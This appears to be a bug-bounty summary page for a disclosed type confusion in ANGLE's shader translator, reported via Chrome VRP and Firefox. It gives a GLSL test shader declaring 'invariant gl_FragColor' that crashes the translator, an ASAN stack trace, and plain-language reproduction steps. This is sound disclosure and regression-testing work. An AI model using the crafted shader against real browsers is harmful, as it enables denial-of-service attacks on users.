Type Confusion in ANGLE (CVE-2026-17697)
A type confusion in ANGLE's shader translator occurs when a GLSL shader declares an invariant gl_FragColor and is compiled on the GL backend, causing a crash. An attacker could trigger a denial of service by supplying such a shader through WebGL.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
This bug was first reported to Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=2029402
The following test shows a crash:
TEST_P(GLSLTest, EmulateGLFragColorBroadcastInvariantFragColor)
{
ANGLE_SKIP_TEST_IF(!EnsureGLExtensionEnabled("GL_EXT_draw_buffers"));
constexpr char kFS[] = R"(#extension GL_EXT_draw_buffers : require
invariant gl_FragColor;
void main() {
gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);
}
)";
ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), kFS);
glUseProgram(program);
}
This requires running on the GL backend any of the GLSL output types except SH_GLSL_420_CORE_OUTPUT which removes the invariant keyword.
Running it locally in a debug build generates the following:
IntermNode.cpp:401 (replaceChildNode): Replacing a node with a node of invalid type: calling replacement.getAsSymbolNode() should not return nullptr.
The following ASAN report is generated:
=================================================================
==7477==ERROR: AddressSanitizer: SEGV on unknown address 0x0000bfff8003 (pc 0x75940eb3cd26 bp 0x7ffd1d79b590 sp 0x7ffd1d79b520 T0)
==7477==The signal is caused by a READ memory access.
#0 0x75940eb3cd26 in sh::TSymbol::symbolType() const /firefox/gfx/angle/checkout/src/compiler/translator/Symbol.h:56:44
#1 0x75940eb3cd26 in sh::HashName(sh::TSymbol const*, unsigned long (*)(char const*, unsigned long), std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>>>*) /firefox/gfx/angle/checkout/src/compiler/translator/HashNames.cpp:87:17
#2 0x75940eb7f1e1 in sh::TOutputGLSLBase::hashName(sh::TSymbol const*) /firefox/gfx/angle/checkout/src/compiler/translator/OutputGLSLBase.cpp:1130:12
#3 0x75940eb7f1e1 in sh::TOutputGLSLBase::visitGlobalQualifierDeclaration(sh::Visit, sh::TIntermGlobalQualifierDeclaration*) /firefox/gfx/angle/checkout/src/compiler/translator/OutputGLSLBase.cpp:898:63
#4 0x75940ed6fb4a in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) /firefox/gfx/angle/checkout/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#5 0x75940eb7ea91 in sh::TOutputGLSLBase::visitBlock(sh::Visit, sh::TIntermBlock*) /firefox/gfx/angle/checkout/src/compiler/translator/OutputGLSLBase.cpp:868:18
#6 0x75940ed6d39a in sh::TIntermBlock::visit(sh::Visit, sh::TIntermTraverser*) /firefox/gfx/angle/checkout/src/compiler/translator/tree_util/IntermTraverse.cpp:180:16
#7 0x75940ed6d39a in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) /firefox/gfx/angle/checkout/src/compiler/translator/tree_util/IntermTraverse.cpp:467:23
#8 0x75940ec5f454 in sh::TranslatorGLSL::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) /firefox/gfx/angle/checkout/src/compiler/translator/TranslatorGLSL.cpp:213:11
#9 0x75940eb2ce9b in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) /firefox/gfx/angle/checkout/src/compiler/translator/Compiler.cpp:1229:18
#10 0x75940e73dec9 in mozilla::webgl::ShaderValidator::ValidateAndTranslate(char const*) const /firefox/dom/canvas/WebGLShaderValidator.cpp:279:7
#11 0x75940e73c326 in mozilla::WebGLShader::CompileShader() /firefox/dom/canvas/WebGLShader.cpp:100:34
#12 0x75940e66ea25 in mozilla::WebGLContext::CompileShader(mozilla::WebGLShader&) /firefox/dom/canvas/WebGLContextGL.cpp:1496:10
#13 0x75940e5c612c in mozilla::HostWebGLContext::CompileShader(unsigned long) const /firefox/dom/canvas/HostWebGLContext.h:329:15
#14 0x75940e5a808e in void mozilla::ClientWebGLContext::Run_WithDestArgTypes<void (mozilla::HostWebGLContext::*)(unsigned long) const, unsigned long>(std::optional<JS::AutoCheckCannotGC>&&, void (mozilla::HostWebGLContext::*)(unsigned long) const, unsigned long, unsigned long const&) const /firefox/dom/canvas/ClientWebGLContext.cpp:449:5
#15 0x75940e4ba362 in void mozilla::ClientWebGLContext::Run_WithDestArgTypes_ConstnessHelper<unsigned long>(std::optional<JS::AutoCheckCannotGC>&&, void (mozilla::HostWebGLContext::*)(unsigned long) const, unsigned long, std::remove_reference<std::remove_const<unsigned long>::type>::type const&) const /firefox/dom/canvas/ClientWebGLContext.h:2388:5
#16 0x75940e4ba362 in void mozilla::ClientWebGLContext::Run<void (mozilla::HostWebGLContext::*)(unsigned long) const, &mozilla::HostWebGLContext::CompileShader(unsigned long) const, unsigned long>(unsigned long const&) const /firefox/dom/canvas/ClientWebGLContext.h:2358:5
#17 0x75940e4ba362 in mozilla::ClientWebGLContext::CompileShader(mozilla::WebGLShaderJS&) const /firefox/dom/canvas/ClientWebGLContext.cpp:6861:3
#18 0x75940d7dfd0e in mozilla::dom::WebGLRenderingContext_Binding::compileShader(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /firefox/obj-firefox-asan/dom/bindings/./WebGLRenderingContextBinding.cpp:16268:24
#19 0x75940e2027bd in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /firefox/dom/bindings/BindingUtils.cpp:3378:13
#20 0x759417db935a in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /firefox/js/src/vm/Interpreter.cpp:490:13
#21 0x759417db935a in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /firefox/js/src/vm/Interpreter.cpp:586:12
==7477==Register values:
rax = 0x0000000200000018 rbx = 0x00007ffd1d79b520 rcx = 0x0000000040000003 rdx = 0x000000008fff6fff
rdi = 0x0000000200000001 rsi = 0x0000000000000000 rbp = 0x00007ffd1d79b590 rsp = 0x00007ffd1d79b520
r8 = 0x0000000000000000 r9 = 0x00007fffffffff01 r10 = 0x0000765432c1d701 r11 = 0x0000000000000001
r12 = 0x00000eb28631ae10 r13 = 0x0000778432bc0d68 r14 = 0x00007594318d7080 r15 = 0x00007594318d7080
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/firefox/obj-firefox-asan/dist/bin/libxul.so+0x1a9c8d26) (BuildId: bc75d35c2d8c6b7624508c50301aeb52)
==7477==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the shader translator replaces a node with one of an invalid type when handling an invariant gl_FragColor declaration, leading to a null or invalid symbol access.
Impact
The crash could cause a denial of service in the browser, but the report does not claim code execution.
What the attacker needed
WebGL support with GL backend; GL_EXT_draw_buffers extension enabled; Ability to compile a crafted shader
How it was found
- Enable the GL_EXT_draw_buffers extension in the WebGL context.
- Compile a GLSL shader that declares invariant gl_FragColor and writes to it.
- Use the GL backend with a GLSL output type other than SH_GLSL_420_CORE_OUTPUT.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ANGLE is a component that translates shader programs for graphics. A shader is a small program sent to the graphics card. A type confusion means the program treats one kind of data as another kind, which can make it crash. Here, a specially written shader makes the translator crash, which could stop the browser tab or browser from working.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.